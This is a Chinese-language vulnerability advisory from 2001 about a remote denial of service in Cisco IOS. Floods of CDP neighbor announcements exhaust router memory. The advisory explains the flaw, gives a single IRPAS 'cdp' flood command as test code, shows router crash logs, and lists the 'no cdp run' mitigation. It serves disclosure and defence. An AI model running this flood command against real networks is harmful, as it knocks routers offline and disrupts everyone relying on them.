使用CDP协议的CISCO IOS系统存在拒绝服务攻击发布时间:2001-10-10 更新时间:2001-10-10 严重程度:中 威胁程度:远程拒绝服务 错误类型:设计错误 利用方式:服务器模式 受影响系统 Cisco 1005 IOS 11.1.*详细描述 使用Cisco Discovery Protocol(CDP)协议的CISCO ISO系统存在拒绝服务攻击。 当大量使用CDP neighbor announcements,ISOISO会消耗所有内存来存储邻居 信息,设备就不能执行其他如路由更新或者接受telnet连接操作。 CDP协议是第二层协议因此独立于第三层协议,CISCO 设备定期发送更新来使自身 知道它的邻居,因为其是工作在第二层的协议,这些帧不会被路由,这样发送给 Ethernet的更新将是一个多播地址01:00:0C:CC:CC:CC。 如果cisco 设备从另一个设备中接收到CDP 帧,它会拷贝这些内容到内部数据结构, 你可以通过"show cdp neighbors"命令来查看信息。这些信息包括设备ID,兼容性, 平台和发送者端口ID。CDP 帧中也包含hold timer值来告诉邻居丢弃该信息的维持 时间,最大值为225秒。 内部数据结构看起来使用远程设备ID作为KEY,当接受到2个同样的但长的设备ID时, 一些IOS版本将不能作为同一设备ID表识并独立存储。 当使用大的包含随机设备ID和来自随机数据连接地址的CDP帧来大量冲刷网络段 时,不同的IOS版本会有不同的反映,一般包括: + 在3到5个帧接受到后重新启动 + 在数千个帧后停止工作 + 使用所有可用内存来存储CDP邻居信息知道hold timer值过期。 当内存被消耗过多时,CISCO设备将不能操作其他路由等服务。 测试代码 要发送CDP信息,你可以使用Phenoelit IRPAS工具包的中CDP 发送工具: linuxbox# ./cdp -i eth0 -m0 -n 100000 -l 1480 -r -v (小心使用,所有有此漏洞并在数据链路多播域中的CISCO设备都会受到影响) Reaction of a Cisco 1603 / IOS 11.2(4): radio# %SYS-2-MALLOCFAIL: Memory allocation of 1480 bytes failed from 0x81B3BE6, pool Processor, alignment 0 -Process= "CDP Protocol", ipl= 0, pid= 9 -Traceback= 80ABDCC 80ACF46 81B3BEE 81B3B72 81B276A 81B224C radio# %SYS-2-MALLOCFAIL: Memory allocation of 96 bytes failed from 0x81B26D2, pool Processor, alignment 0 -Process= "CDP Protocol", ipl= 0, pid= 9 -Traceback= 80ABDCC 80ACF46 81B26DA 81B224C %SYS-2-MALLOCFAIL: Memory allocation of 96 bytes failed from 0x81B26D2, pool Processor, alignment 0 -Process= "CDP Protocol", ipl= 0, pid= 9 -Traceback= 80ABDCC 80ACF46 81B26DA 81B224C radio#sh ? % Unrecognized command radio#show ? % Unrecognized command radio# Reaction after 'debug cdp packets': %Log packet overrun, potential memory corruption, PC 0x81B2720, format: %s %Log packet overrun, potential memory corruption, PC 0x81B2720, format: %s ....[lots of these]..... %Log packet overrun, potential memory corruption, PC 0x81B2720, format: %s %Log packet overrun, potential memory corruption, PC 0x81B2720, format: %s *** BUS ERROR *** access address = 0x5f227998 program counter = 0x80ad45a status register = 0x2700 vbr at time of exception = 0x4000000 special status word = 0x0045 faulted cycle was a longword read monitor: command "boot" aborted due to exception System Bootstrap, Version ..... Copyright (c) 1994-1996 by cisco Systems, Inc. C1600 processor with 2048 Kbytes of main memory program load complete, entry point: 0x4018060, size: 0x1da950 解决方案 临时方法:配置'no cdp run' 命令关闭CDP协议,或者更新IOS版本。 相关信息 发现者: FX <fx@phenoelit.de> FtR <ftr@phenoelit.de> kim0 <kim0@phenoelit.de> smoovB <not disclosed> Phenoelit Group (http://www.phenoelit.de) 参考资料:http://www.phenoelit.de/stuff/CiscoCDP.txt |